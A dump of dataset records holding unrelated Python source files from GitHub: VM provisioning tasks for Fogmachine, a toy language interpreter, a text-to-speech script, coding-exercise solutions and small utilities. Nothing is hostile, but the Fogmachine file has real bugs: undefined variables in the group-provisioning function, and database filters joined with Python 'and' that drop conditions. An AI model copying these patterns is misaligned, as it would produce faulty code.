update_guest_state(guest)\n\ndef retire_expired_guests():\n \"\"\"\n Periodic task:\n Deletes Guest objects whose expiration dates have passed\n \"\"\"\n for guest in Guest.query.all():\n if guest.expire_date < datetime.now():\n remove_guest(guest)\n\ndef update_group_state(group):\n \"\"\"\n Updates state (running status, vnc port) for all Guests in a Group\n \"\"\"\n if group == None:\n return\n for guest in group.guests:\n update_guest_state(guest)\n\ndef update_guest_state(guest):\n \"\"\"\n Updates state (running status, vnc port) for a single Guest\n \"\"\"\n if guest == None:\n return\n virt = getVirt(guest.host)\n guest.state = virt.get_status(guest.virt_name)\n guest.vnc_port = virt.get_vnc_port(guest.virt_name)\n session.flush()\n\ndef remove_guest(guest):\n \"\"\"\n By hook or by crook, removes a guest from a virt host and then\n deletes its corresponding Guest object from the database\n \"\"\"\n virt = getVirt(guest.host)\n try:\n virt.destroy(guest.virt_name)\n except libvirtError:\n pass # libvirt throws error if guest is already shutdown\n virt.undefine(guest.virt_name)\n \n # remove any links to guest from related tables\n guest.host.guests.remove(guest)\n if guest.guest_template != None:\n guest.group.guests.remove(guest)\n \n # remove Cobbler system \n if guest.cobbler_type == 'system':\n getCobbler().remove_system(guest.name)\n getCobbler().sync()\n \n # get rid of the durn thing\n session.delete(guest)\n session.flush()\n \ndef send_guest_complete_email(guest):\n \"\"\"\n Sends a notification e-mail to the owner of a freshly-provisioned guest,\n notifying them that their guest has been successfully provisioned\n \"\"\"\n pass\n\ndef send_group_complete_email(group):\n \"\"\"\n Sends a notification e-mail to the owner of a freshly-provisioned group,\n notifying them that their group has been successfully provisioned\n \"\"\"\n pass\n \ndef run_triggers(guest):\n \"\"\"\n Sends provisioning completed emails to guest owners, runs group-related\n triggers if guest belongs to a group\n \"\"\"\n if not guest.is_provisioned:\n guest.is_provisioned = True\n session.flush()\n send_guest_complete_email(guest)\n run_group_triggers(guest)\n \ndef run_group_triggers(guest):\n \"\"\"\n Checks if the guest is a member of a group, runs next sequential\n provisioning step if all guests on current group stratum are\n provisioned\n \"\"\"\n if guest.group == None:\n return\n # get other guests in guest's group\n of_group = Guest.query.filter(Guest.group==guest.group).all()\n \n # check if provisioning is complete on the current guest stratum\n for group_guest in of_group:\n if (guest.guest_template.stratum == group_guest.guest_template.stratum):\n if not group_guest.is_provisioned:\n return\n \n next_stratum = get_next_guest_stratum(guest.guest_template.stratum)\n provision_group_guest_stratum(guest.group, \n next_stratum)\n\ndef get_next_guest_stratum(stratum):\n \"\"\"\n Returns the next sequential stratum in a GroupTemplate given the supplied\n GuestStratum object\n \"\"\"\n cur_level = stratum.strata_level\n if len(stratum.parent_template.strata) == cur_level + 1:\n return None\n return stratum.parent_template.strata[cur_level + 1]\n \ndef replace_fogmachine_variables(group, metavars):\n \"\"\"\n Given a metavariable string (which ends up being passed to Cobbler),\n replaces any text contained within {% and %} delimiters with the \n information requested and converts the string to a dictionary suitable\n for being passed to Cobbler\n \"\"\"\n to_replace = re.finditer('{%(.*?)%}', metavars)\n for elem in to_replace:\n # figure out matching text\n complete_match = elem.group(0)\n contents = elem.group(1).strip()\n # get guest template and requested attribute from text\n guest_template = contents.split('.')[0]\n attribute = contents.split('.')[1]\n # grab the corresponding guest to the GuestTemplate \n # from the supplied group\n gt_obj = GuestTemplate.query.filter(\n GuestTemplate.name==guest_template).one()\n guest_obj = Guest.query.filter(Guest.group==group\n and Guest.guest_template==gt_obj).one()\n # get the requested attribute, pickle it, and replace the delimited \n # text\n replacement = str(getattr(guest_obj, attribute))\n metavars = metavars.replace(complete_match, replacement)\n # convert metavar string to dict\n mv_dict = {}\n metavar_list = [metavar.strip() for metavar in metavars.split(',')]\n for mv in metavar_list:\n key = mv.split('=')[0].strip()\n value = mv.split('=')[1].strip()\n mv_dict[key] = value\n return mv_dict\n\ndef start_group(group):\n \"\"\"\n Starts all provisioned guests in a supplied group\n \"\"\"\n guests = Guest.query.filter(Guest.group==group and \n Guest.state!=u'running' and Guest.is_provisioned==True).all()\n for guest in guests:\n start_guest(guest)\n \ndef shutdown_group(group):\n \"\"\"\n Shuts down all provisioned guests in a supplied group\n \"\"\"\n guests = Guest.query.filter(Guest.group==group and\n Guest.state!=u'shutdown' and Guest.is_provisioned==True).all()\n for guest in guests:\n shutdown_guest(guest)\n \ndef destroy_group(group):\n \"\"\"\n Destroys all provisioned guests in a supplied group\n \"\"\"\n guests = Guest.query.filter(Guest.group==group and\n Guest.state!=u'shutdown' and Guest.is_provisioned==True).all()\n for guest in guests:\n destroy_guest(guest)\n \ndef pause_group(group):\n \"\"\"\n Pauses all provisioned guests in a supplied group\n \"\"\"\n guests = Guest.query.filter(Guest.group==group and\n Guest.state!=u'paused' and Guest.is_provisioned==True).all()\n for guest in guests:\n pause_guest(guest)\n \ndef unpause_group(group):\n \"\"\"\n Unpauses all provisioned guests in a supplied group\n \"\"\"\n guests = Guest.query.filter(Guest.group==group and\n Guest.state==u'paused' and Guest.is_provisioned==True).all()\n for guest in guests:\n unpause_guest(guest)\n \ndef new_cobbler_system(name, cobbler_target, metavars=None, hostname=None,\n ip_address=None, image_based=False):\n \"\"\"\n Creates a new Cobbler system object, runs a cobbler sync, and returns the\n newly-created system object\n \"\"\"\n cobbler = getCobbler()\n token = getCobblerToken()\n system = cobbler.new_system(token)\n \n cobbler.modify_system(system, \"name\",\n name, token)\n \n if image_based:\n virt_bridge = cobbler.get_image(cobbler_target)['virt_bridge']\n cobbler.modify_system(system, \"image\",\n cobbler_target, token)\n else:\n virt_bridge = cobbler.get_profile(cobbler_target)['virt_bridge']\n cobbler.modify_system(system, \"profile\",\n cobbler_target, token)\n \n interface = {\n \"macaddress-eth0\" : get_random_mac(),\n \"virtbridge-eth0\" : virt_bridge\n }\n if ip_address:\n interface[\"ipaddress-eth0\"] = ip_address\n cobbler.modify_system(system, \"modify_interface\",\n interface, token)\n \n if hostname:\n cobbler.modify_system(system, \"hostname\",\n hostname, token)\n \n cobbler.modify_system(system, \"ksmeta\",\n metavars, token)\n \n cobbler.save_system(system, token)\n cobbler.sync()\n \n return cobbler.get_system(name)\n\ndef provision_group_guest_stratum(group, guest_stratum):\n \"\"\"\n Provisions a guest stratum defined in a GroupTemplate, inserts the \n resulting guests into the 'guests' list of the supplied Group object\n \"\"\"\n \n if guest_stratum == None:\n group.is_provisioned = True\n session.flush()\n send_group_complete_email(group)\n return\n \n for guest_template in guest_stratum.elements:\n # if user has added {% and %} delimiters to the supplied metavars,\n # they want Fogmachine to replace the text within them with something\n # more useful (IE: hostname, IP, etc.), so we do that here:\n new_metavars = replace_fogmachine_variables(group,\n guest_template.metavars)\n \n system = new_cobbler_system(\n \"%s-%s\" % (group.name, guest_template.name),\n guest_template.cobbler_target,\n metavars=new_metavars,\n hostname=None,\n ip_address=None,\n image_based=(guest_template.cobbler_type=='image')\n )\n \n # find a suitable host and get the required memory\n ram_required = cobbler.get_profile(\n guest_template.cobbler_target)['virt_ram']\n \n # create the guest based off of the System object we created\n guest = create_guest(sys_obj,\n u\"%s-%s\" % (group.name, guest_template.name),\n group.expire_date, group.purpose, group.owner,\n system=True)\n guest.group = group\n guest.guest_template = guest_template\n guest.guest_template.provisioned_guests.append(guest)\n session.flush()\n \ndef create_group(group_template, name, owner, expire_date, purpose):\n \"\"\"\n Instantiates a group of machines based upon the supplied group template,\n requires a Cobbler object (as returned by main.py's getCobbler method)\n to function\n \"\"\"\n if not hosts_can_provision_group(group_template):\n return False\n \n group = Group(name=name,\n owner=owner,\n expire_date=expire_date,\n purpose=purpose,\n template=group_template)\n session.flush()\n \n provision_group_guest_stratum(group, group_template.strata[0])\n return True\n \ndef remove_group(group):\n \"\"\"\n Removes a group and all related bindings\n \"\"\"\n for guest in group.guests:\n remove_guest(guest)\n group.template.groups.remove(group)\n session.delete(group)\n session.flush()\n \ndef start_guest(guest):\n \"\"\"\n Starts the guest which corresponds to the supplied Guest object\n \"\"\"\n virt = getVirt(guest.host)\n virt.create(guest.virt_name)\n \ndef shutdown_guest(guest):\n \"\"\"\n Shuts down the guest which corresponds to the supplied Guest object\n \"\"\"\n virt = getVirt(guest.host)\n virt.shutdown(guest.virt_name)\n \ndef destroy_guest(guest):\n \"\"\"\n Destroys the guest which corresponds to the supplied Guest object\n \"\"\"\n virt = getVirt(guest.host)\n virt.destroy(guest.virt_name)\n \ndef restart_guest(guest):\n \"\"\"\n Restarts the guest which corresponds to the supplied Guest object\n \"\"\"\n shutdown_guest(guest)\n start_guest(guest)\n \ndef pause_guest(guest):\n \"\"\"\n Pauses the guest which corresponds to the supplied Guest object\n \"\"\"\n virt = getVirt(guest.host)\n virt.pause(guest.virt_name)\n \ndef unpause_guest(guest):\n \"\"\"\n Unpauses the guest which corresponds to the supplied Guest object\n \"\"\"\n virt = getVirt(guest.host)\n virt.unpause(guest.virt_name)\n","repo_name":"ssalevan/fogmachine","sub_path":"fogmachine/periodic_tasks.py","file_name":"periodic_tasks.py","file_ext":"py","file_size_in_byte":20527,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"23923165601","text":"import random, os, time\narrayInt = []\nvariable = []\nvariable1 = []\nbreakYes = []\nforRangeVAR = []\nSTRVARIABLE = []\nINTVARIABLE = []\nCHARVARIABLE = []\ncountSTR = 0;\ncountINT = 0;\ncountCHAR = 0;\nrun = True\ndef randomInt(choice):\n if choice.__contains__(\"RANDOM INT\"):\n removeType = choice.replace(F\"{choice[0]} RANDOM INT \", \"\")\n splitWord = removeType.split(\",\")\n randomIndex = choice.index(\" RANDOM\")\n newIndex = choice[0:randomIndex]\n print(\"\")\n choice = input(\"\")\n print(\"\")\n if(choice.__contains__(f\"OUTPUT {newIndex}\") == True):\n randInteger = random.randint(int(splitWord[0]),int(splitWord[1]))\n print(randInteger)\n elif(choice.__contains__(f\"OUTPUT {newIndex}\") == False):\n removeOUTPUT = choice.replace(\"OUTPUT \", \"\")\n print(removeOUTPUT)\n\ndef forRange(choice):\n if choice.__contains__(\"FOR\") and choice.__contains__(\"RANGE\"):\n indexOf1 = choice.index(\"RANGE\")\n newWord = choice[indexOf1:]\n removeWords = newWord.replace(\"RANGE \", \"\")\n splitIndex = removeWords.split(\",\")\n intFirst = splitIndex[0]\n intSecond = splitIndex[1]\n randomIndex = choice.index(\" IN\")\n newIndex = choice[4:randomIndex]\n forRangeVAR.append(intFirst)\n forRangeVAR.append(intSecond)\n variable1.append(newIndex)\n print(\"\")\n choice = input(\"\")\n print(\"\")\n if(choice.__contains__(f\"OUTPUT {newIndex}\") == True):\n for w in range(int(intFirst), int(intSecond)):\n print(w)\n elif(choice.__contains__(f\"OUTPUT {newIndex}\") == False):\n removeOUTPUT = choice.replace(\"OUTPUT \", \"\")\n for x in range(int(intFirst), int(intSecond)):\n print(removeOUTPUT)\n\ndef whileLoop(choice):\n if choice.__contains__(\"WHILE \"):\n removeThing = choice.replace(\"WHILE \", \"\")\n lowerText = removeThing.lower()\n run = True\n while run:\n userOutput = input(\"\")\n if userOutput.__contains__(\"OUTPUT\"):\n run = False\n removeWord = userOutput.replace(\"OUTPUT \", \"\")\n print()\n if breakYes.__contains__(\"Yes\") == True:\n while lowerText.title():\n print(removeWord)\n break\n elif breakYes.__contains__(\"Yes\") == False:\n while lowerText.title():\n print(removeWord)\n \n \n elif userOutput.__contains__(\"BREAK\"):\n breakYes.append(\"Yes\")\n continue\n\ndef variables(choice):\n if choice.__contains__(\"STRING\"):\n removeLetterString = choice.replace(\"STRING \", \"\")\n stringSplit = removeLetterString.split(\"=\")\n STRVARIABLE.append([])\n STRVARIABLE[countSTR].append(f'{stringSplit[0]} ')\n STRVARIABLE[countSTR].append(f'{stringSplit[1]}')\n\n if choice.__contains__(\"INT\"):\n removeLetterString = choice.replace(\"INT \", \"\")\n intSplit = removeLetterString.split(\"=\")\n INTVARIABLE.append([])\n INTVARIABLE[countINT].append(f'{intSplit[0]} ')\n INTVARIABLE[countINT].append(f'{intSplit[1]}')\n\n if choice.__contains__(\"CHAR\"):\n removeLetterString = choice.replace(\"CHAR \", \"\")\n getIndexOFEquals = removeLetterString.index(\"=\") + 1\n\n charSplit = removeLetterString.split(\"=\")\n if len(removeLetterString[getIndexOFEquals:]) == 1:\n CHARVARIABLE.append([])\n CHARVARIABLE[countINT].append(f'{charSplit[0]} ')\n CHARVARIABLE[countINT].append(f'{charSplit[1]}')\n\n elif len(removeLetterString[getIndexOFEquals:]) > 1:\n print(\"Variable Content Doesn't Contain Char\")\n \n\n\n\n\n \n\ndef clearFunction(choice):\n if choice == \"CLEAR CODE\":\n os.system(\"clear\")\n\ndef printFunc(choice):\n if choice.__contains__(\"OUTPUT\"):\n \n removeWord = choice.replace(\"OUTPUT \", \"\")\n if(removeWord.__contains__(\"\\\\N\") == True):\n newWord = removeWord.replace(\"\\\\N\", \"\\n\")\n print()\n print(newWord)\n print()\n if(removeWord.__contains__(\"\\\\N\") == False):\n newCount = 0\n newRun = True\n removeVar = removeWord.replace(\"VAR \", \"\")\n if(removeWord.__contains__(f\"VAR \") == True):\n while newRun:\n for x in STRVARIABLE:\n strVariable = x\n d = []\n d.append(strVariable)\n for i in d:\n for j in i:\n newArray = j\n newArray1 = newArray.replace(\"ji\", \"\")\n newArray2 = newArray1.replace(f\"{removeVar}\", \"\")\n newArray3 = newArray2.replace(\"\", \"\")\n print(newArray3)\n newRun = False\n for x in INTVARIABLE:\n intVariable = x\n d = []\n d.append(intVariable)\n for i in d:\n for j in i:\n newArray = j\n newArray1 = newArray.replace(\"ji\", \"\")\n newArray2 = newArray1.replace(f\"{removeVar}\", \"\")\n newArray3 = newArray2.replace(\"\", \"\")\n print(newArray3)\n newRun = False\n for x in CHARVARIABLE:\n charVariable = x\n d = []\n d.append(charVariable)\n for i in d:\n for j in i:\n newArray = j\n newArray1 = newArray.replace(\"ji\", \"\")\n newArray2 = newArray1.replace(f\"{removeVar}\", \"\")\n newArray3 = newArray2.replace(\"\", \"\")\n print(newArray3)\n newRun = False\n\n newCount += 1\n elif(removeWord.__contains__(\"VAR \") == False):\n print()\n print(removeWord)\n print()\n\n \nprint(\"FUN LANGUAGE EASY\")\nprint()\nprint(\"FIGURE IT OUT NERD NOT THAT HARD TO LEARN\")\nprint()\nwhile(run):\n breakYes.clear()\n userInput = input(\"\")\n randomInt(userInput)\n forRange(userInput)\n printFunc(userInput)\n whileLoop(userInput)\n clearFunction(userInput)\n variables(userInput)\n if(userInput.__contains__(\"STRING\")):\n countSTR += 1\n if(userInput.__contains__(\"INT\")):\n countINT += 1\n if(userInput.__contains__(\"CHAR\")):\n countCHAR += 1\n if userInput == \"QUIT CODE\":\n run = False\n","repo_name":"Clxqz/MyOwnProgrammingLanguage","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34094144543","text":"from google.cloud import texttospeech\nimport random\nimport json\nimport time\n\ndef clean_sentence(sentence):\n clean = []\n for word in sentence:\n word = word.lower()\n # clean out underscores in fixed expressions\n if \"_\" in word:\n clean.extend(word.split(\"_\"))\n else:\n clean.append(word)\n # return as strng rather than as wordlist\n return \" \".join(clean)\n\ndef speak(sentence, client, encoding, speaker=\"random\"):\n # make a clean string without nderscores\n text = clean_sentence(sentence)\n # select voice (use wavenet voices)\n if speaker == \"random\":\n # these are all en-US WaveNet voices available in the API (Nov 5 2019)\n # A, B and D are 'male', 'C', 'E' and 'F' are 'female'\n voices = [\"en-US-Wavenet-A\", \"en-US-Wavenet-B\", \"en-US-Wavenet-C\",\n \"en-US-Wavenet-D\", \"en-US-Wavenet-E\", \"en-US-Wavenet-F\"]\n speaker = random.choice(voices)\n voice = texttospeech.types.VoiceSelectionParams(name=speaker, language_code='en-US')\n # Select the type of audio file you want returned - using LINEAR16\n audio_config = texttospeech.types.AudioConfig(audio_encoding=encoding)\n # Set the text input to be synthesized\n synthesis_input = texttospeech.types.SynthesisInput(text=text)\n # Perform the text-to-speech request on the text input with the selected\n # voice parameters and audio file type\n try:\n spoken = client.synthesize_speech(synthesis_input, voice, audio_config)\n return spoken\n except:\n # if you run out of quotum, sleep for a minute\n time.sleep(60)\n # try again\n try:\n spoken = client.synthesize_speech(synthesis_input, voice, audio_config)\n return spoken\n # if still fails aftr sleeping, skip, report to user\n except:\n return False\n\n# Instantiate a google tts client\nclient = texttospeech.TextToSpeechClient()\nencoding = texttospeech.enums.AudioEncoding.LINEAR16\n# keep track of failed wavs\nfailed = {\"ADS\" : [], \"CDS\" : []}\n\n# open ADS json\n# speak every sentence and store the speech as a wav\nADS = json.load(open('NewmanRatner/ADS.json'))\nfor utterance in ADS:\n wav = str(utterance) + '.wav'\n response = speak(ADS[utterance]['sentence'], client, encoding)\n if response:\n with open('NewmanRatner/synthetic_speech/ADS/{}'.format(wav), 'wb') as out:\n out.write(response.audio_content)\n else:\n failed[\"ADS\"].append(utterance)\n print(\"Failed to process ADS {}\".format(utterance), flush=True)\n\n# open CDS json\nCDS = json.load(open('NewmanRatner/CDS.json'))\nfor utterance in CDS:\n wav = str(utterance) + '.wav'\n response = speak(CDS[utterance]['sentence'], client, encoding)\n if response:\n with open('NewmanRatner/synthetic_speech/CDS/{}'.format(wav), 'wb') as out:\n out.write(response.audio_content)\n else:\n print(\"Failed to process CDS {}\".format(utterance), flush=True)\n failed[\"CDS\"].append(utterance)\n\nwith open(\"failed.json\", \"w\") as f:\n json.dump(failed, f)\n","repo_name":"lgelderloos/cds_ads","sub_path":"data/synthesize.py","file_name":"synthesize.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"28055602861","text":"''''\nEscribir una función que reciba una diccionario con las notas de los alumnos en curso en un examen y devuelva una serie con las notas de los alumnos aprobados ordenadas de mayor a menor.\n'''\n\nimport pandas as pd\n\ndef aprobados(notas):\n notas = pd.Series(notas)\n return notas[notas >= 5].sort_values(ascending=False)\n\nnotas = {'Juan':9, 'María':6.5, 'Pedro':4, 'Carmen': 8.5, 'Luis': 5}\nprint(aprobados(notas))","repo_name":"defnis/Cursos-de-Programacion","sub_path":"Curso Python/13.Ejercicios /Lib_Pandas/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2716690659","text":"# Source: http://mail.python.org/pipermail/web-sig/2005-April/001298.html\n# Author: Shannon -jj Behrens\n# License: Public domain\n\ndef javaScriptEscape(s):\n \"\"\"Prepare ``s`` for use in a JavaScript quoted string.\n\n Both ``\"`` and ``'`` are escaped, so you can use the return value in\n either single or double quotes.\n\n \"\"\"\n if not isinstance(s, str):\n s = str(s) # Never call str on unicode.\n s = \"\\\"'\" + s # Force repr to use single quotes.\n s = repr(s)\n start, end = 4, -1 # Strip outer quotes and added quotes.\n if s.startswith(\"u\"): # JS strings are implicitly unicode.\n start += 1\n s = s[start:end] \n s = s.replace('\"', '\\\\\"') # Escape double quotes too.\n return s\n\ndef javaScriptQuote(s):\n \"\"\"Escape ``s`` and wrap it in single quotes.\"\"\"\n return \"'%s'\" % javaScriptEscape(s)\n\n\n# Do some testing.\nif __name__ == '__main__':\n for (k, v) in [(\"\", \"\"), \n (\"a\", \"a\"),\n (\"\\t\", \"\\\\t\"),\n (\"\\n\", \"\\\\n\"),\n (\"'\", \"\\\\'\"),\n ('\"', '\\\\\"'),\n (\"\\377\", \"\\\\xff\"),\n (\"\\xff\", \"\\\\xff\"),\n (\"\\u1234\", \"\\\\u1234\")]:\n escaped = javaScriptEscape(k)\n if escaped != v:\n raise AssertionError(\n \"javaScriptEscape(%s) led to %s instead of %s\" % \n (repr(k), repr(escaped), repr(v)))\n assert javaScriptQuote(\"foo\\n\") == \"'foo\\\\n'\"\n","repo_name":"kign/pkg-inetlab","sub_path":"src/inetlab/html/jsescape.py","file_name":"jsescape.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38846946661","text":"from doc_embedder.modules import *\nfrom doc_embedder.functions import *\n\nfrom pprint import pprint\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.decomposition import TruncatedSVD\n\n\ntok = Mecab()\n\ncorpus = load_watcha_sample_corpus(n_sample=None)\ntexts = list(corpus['text'])\nlen(texts)\nallowed_pos = {\n 'NNG',\n 'NNP',\n # # 'VV',\n # 'VA',\n}\n\ntokens_matrix = [[token[0] for token in tok.pos(line) if token[1] in allowed_pos] for line in texts]\n# for i in range(len(texts)):\n# print(texts[i])\n# print(tokens_matrix[i])\n\n# unique_tokens = get_uniques_from_nested_lists(tokens_matrix)\n# token2idx, idx2token = get_item2idx(unique_tokens)\n\n\ntokens_matrix_joined = [' '.join(tokens) for tokens in tokens_matrix]\ntfidfvectorizer = TfidfVectorizer(max_features=1000, max_df=0.5, smooth_idf=True)\ncountvectorizer = CountVectorizer()\nX_count = countvectorizer.fit_transform(tokens_matrix_joined)\nX_tfidf = tfidfvectorizer.fit_transform(tokens_matrix_joined)\n\nsvd_model = TruncatedSVD(n_components=30, algorithm='randomized', n_iter=100, random_state=122)\nsvd_model.fit(X_count)\n# svd_model.fit(X_tfidf)\nlen(svd_model.components_)\n\nterms = countvectorizer.get_feature_names()\n\n\ndef get_topics(components, feature_names, n=10):\n for idx, topic in enumerate(components):\n print(\"Topic %d:\" % (idx + 1), [(feature_names[i], topic[i].round(2)) for i in topic.argsort()[:-n - 1:-1]])\n\nget_topics(svd_model.components_, terms)","repo_name":"yonghee12/doc-embedder","sub_path":"scratch/lsa.py","file_name":"lsa.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41339436181","text":"#Ne pas oublier de changer le module à importer\nfrom Syracuse import syracuse as f\nimport sys\nimport io\n\n\n#liste des couples input/output\ninput_output=[\\\n(5,[5, 16, 8, 4, 2, 1]),\\\n(21,[21, 64, 32, 16, 8, 4, 2, 1]),\\\n(17,[17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1]),\\\n(15,[15, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]),\\\n(127,[127, 382, 191, 574, 287, 862, 431, 1294, 647, 1942, 971, 2914, 1457, 4372, 2186, 1093, 3280, 1640, 820, 410, 205, 616, 308, 154, 77, 232, 116, 58, 29, 88, 44, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1])\\\n]\n\n\n\n#message d'aide si besoin\nhelp=\"N'oublie pas d'utiliser return pour afficher le resultat\"\n\n\n\ndef send_msg(channel, msg):\n print(\"TECHIO> message --channel \\\"{}\\\" \\\"{}\\\"\".format(channel, msg))\n\n\ndef success():\n send_msg(\"Tests validés\",\"Bravo !\")\n print(\"TECHIO> success true\")\n\n\ndef fail():\n print(\"TECHIO> success false\")\n \n\ndef test():\n try:\n for x,reponse in input_output:\n assert f(x) == reponse, \"En testant les valeurs {} le résultat obtenu est {} au lieu de {}\".format(str(x),str(f(x)),str(reponse))\n send_msg(\"Tests validés\",\"La suite de Syracuse qui commence avec {} est bien {}\".format(str(x),str(f(x))))\n success()\n except AssertionError as e:\n fail()\n send_msg(\"Oops! \", e)\n if help:\n send_msg(\"Aide 💡\", help)\n\n\nif __name__ == \"__main__\": test()\n","repo_name":"matcianfa/playground-X1rXTswJ","sub_path":"python-project/Maths/Syracuse_Test.py","file_name":"Syracuse_Test.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"69923656370","text":"\"\"\"URLs for blocks app\"\"\"\nfrom django.conf.urls import url\n\nfrom blocks import views\n\n\n# pylint: disable=invalid-name\nurlpatterns = [\n url(r'^block/$',\n views.BlockListView.as_view(), name='list_blocks'),\n url(r'^block/create/$',\n views.BlockCreateView.as_view(), name='create_block'),\n url(r'^block/(?P[-\\w]+)/edit/$',\n views.BlockUpdateView.as_view(),\n name='update_block'),\n url(r'^block/(?P[-\\w]+)/delete/$',\n views.BlockDeleteView.as_view(),\n name='delete_block'),\n url(r'^block/(?P[-\\w]+)/preview/$',\n views.BlockPreviewView.as_view(),\n name='preview_block'),\n\n url(r'^categories/$',\n views.BlockCategoryListView.as_view(), name='list_blockcategories'),\n url(r'^categories/create/$',\n views.BlockCategoryCreateView.as_view(), name='create_blockcategory'),\n url(r'^categories/(?P[-\\w]+)/edit/$',\n views.BlockCategoryUpdateView.as_view(),\n name='update_blockcategory'),\n url(r'^categories/(?P[-\\w]+)/delete/$',\n views.BlockCategoryDeleteView.as_view(),\n name='delete_blockcategory'),\n]\n","repo_name":"ofa/everyvoter","sub_path":"blocks/manage_urls.py","file_name":"manage_urls.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"20"} +{"seq_id":"43743282052","text":"# Off Line Minimum\r\n# #array #search \r\n# \r\n# Have the function OffLineMinimum(strArr) take the strArr parameter being passed which\r\n# will be an array of integers ranging from 1...n and the letter \"E\" and return the\r\n# correct subset based on the following rules. The input will be in the following format:\r\n# [\"I\",\"I\",\"E\",\"I\",...,\"E\",...,\"I\"] where the I's stand for integers and the E means\r\n# take out the smallest integer currently in the whole set. When finished, your program\r\n# should return that new set with integers separated by commas. For example: if strArr\r\n# is [\"5\",\"4\",\"6\",\"E\",\"1\",\"7\",\"E\",\"E\",\"3\",\"2\"] then your program should return 4,1,5.\r\n# \r\n# Optimal: o(n), achieved: o(n)\r\n\r\nimport heapq as hq\r\n\r\ndef OffLineMinimum(str_list):\r\n # code goes here\r\n ls = []\r\n rt = []\r\n\r\n hq.heapify(ls)\r\n for el in str_list:\r\n if el != 'E':\r\n hq.heappush(ls,int(el))\r\n else:\r\n rt.append(hq.heappop(ls))\r\n\r\n ret = ''.join([str(i)+',' for i in rt])\r\n return ret[:-1]\r\n\r\n# keep this function call here \r\nprint(OffLineMinimum(input()))","repo_name":"krzysztofWal/CoderbyteChallenges","sub_path":"src/offline_minimum.py","file_name":"offline_minimum.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20618678139","text":"#!/usr/bin/env python\n# coding=utf-8\n'''\n@Author: John\n@Email: johnjim0816@gmail.com\n@Date: 2020-07-23 10:51:33\n@LastEditor: John\n@LastEditTime: 2020-07-23 10:53:00\n@Discription: \n@Environment: python 3.7.7\n'''\n# Source : https://leetcode.com/problems/triangle/\n# Author : JohnJim0816\n# Date : 2020-07-23\n\n##################################################################################################### \n#\n# Given a triangle, find the minimum path sum from top to bottom. Each step you may move to adjacent \n# numbers on the row below.\n# \n# For example, given the following triangle\n# \n# [\n# [2],\n# [3,4],\n# [6,5,7],\n# [4,1,8,3]\n# ]\n# \n# The minimum path sum from top to bottom is 11 (i.e., 2 + 3 + 5 + 1 = 11).\n# \n# Note:\n# \n# Bonus point if you are able to do this using only O(n) extra space, where n is the total number of \n# rows in the triangle.\n#####################################################################################################\n\nclass Solution:\n def minimumTotal(self, triangle: List[List[int]]) -> int:\n n = len(triangle)\n f = [[0] * n for _ in range(n)]\n f[0][0] = triangle[0][0]\n\n for i in range(1, n):\n f[i][0] = f[i - 1][0] + triangle[i][0]\n for j in range(1, i):\n f[i][j] = min(f[i - 1][j - 1], f[i - 1][j]) + triangle[i][j]\n f[i][i] = f[i - 1][i - 1] + triangle[i][i] \n return min(f[n - 1])\n\nclass Solution:\n '''动态规划+空间优化,优化为O(n)'''\n def minimumTotal(self, triangle: List[List[int]]) -> int:\n n = len(triangle)\n f = [0] * n\n f[0] = triangle[0][0]\n for i in range(1, n):\n f[i] = f[i - 1] + triangle[i][i]\n for j in range(i - 1, 0, -1): # 必须递减\n f[j] = min(f[j - 1], f[j]) + triangle[i][j]\n f[0] += triangle[i][0]\n \n return min(f)","repo_name":"henrytien/leetcode-lintcode","sub_path":"leetcode/120.triangle/120.Triangle_JohnJim0816.py","file_name":"120.Triangle_JohnJim0816.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"20"} +{"seq_id":"9541371292","text":"import sys\nimport logging\n\nfrom cliff.app import App\nfrom cliff.commandmanager import CommandManager\n\nclass Atomic (App):\n log = logging.getLogger(__name__)\n\n def __init__(self):\n super(Atomic, self).__init__(\n description='Atomic CLI',\n version='2',\n command_manager=CommandManager('com.redhat.atomic'),\n )\n\n def build_option_parser(self, *args, **kwargs):\n parser = super(Atomic, self).build_option_parser(*args, **kwargs)\n return parser\n\n def initialize_app(self, argv):\n pass\n\n def configure_logging(self):\n loglevel = {0: 'WARNING',\n 1: 'INFO',\n 2: 'DEBUG'}.get(self.options.verbose_level,\n logging.DEBUG)\n logging.basicConfig(\n level=loglevel)\n\n\napp = Atomic()\n\n\ndef main():\n return app.run(sys.argv[1:])\n\nif __name__ == '__main__':\n main()\n","repo_name":"larsks/atomic-cli","sub_path":"atomic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2811386723","text":"import numpy as np\nimport tensorflow as tf\n\nfrom Define import *\nfrom Utils import *\nfrom DataAugmentation import *\n\ndef get_data(xml_path, training, normalize = True, augment = True):\n if training:\n image_path, gt_bboxes, gt_classes = xml_read(xml_path, normalize = False)\n\n image = 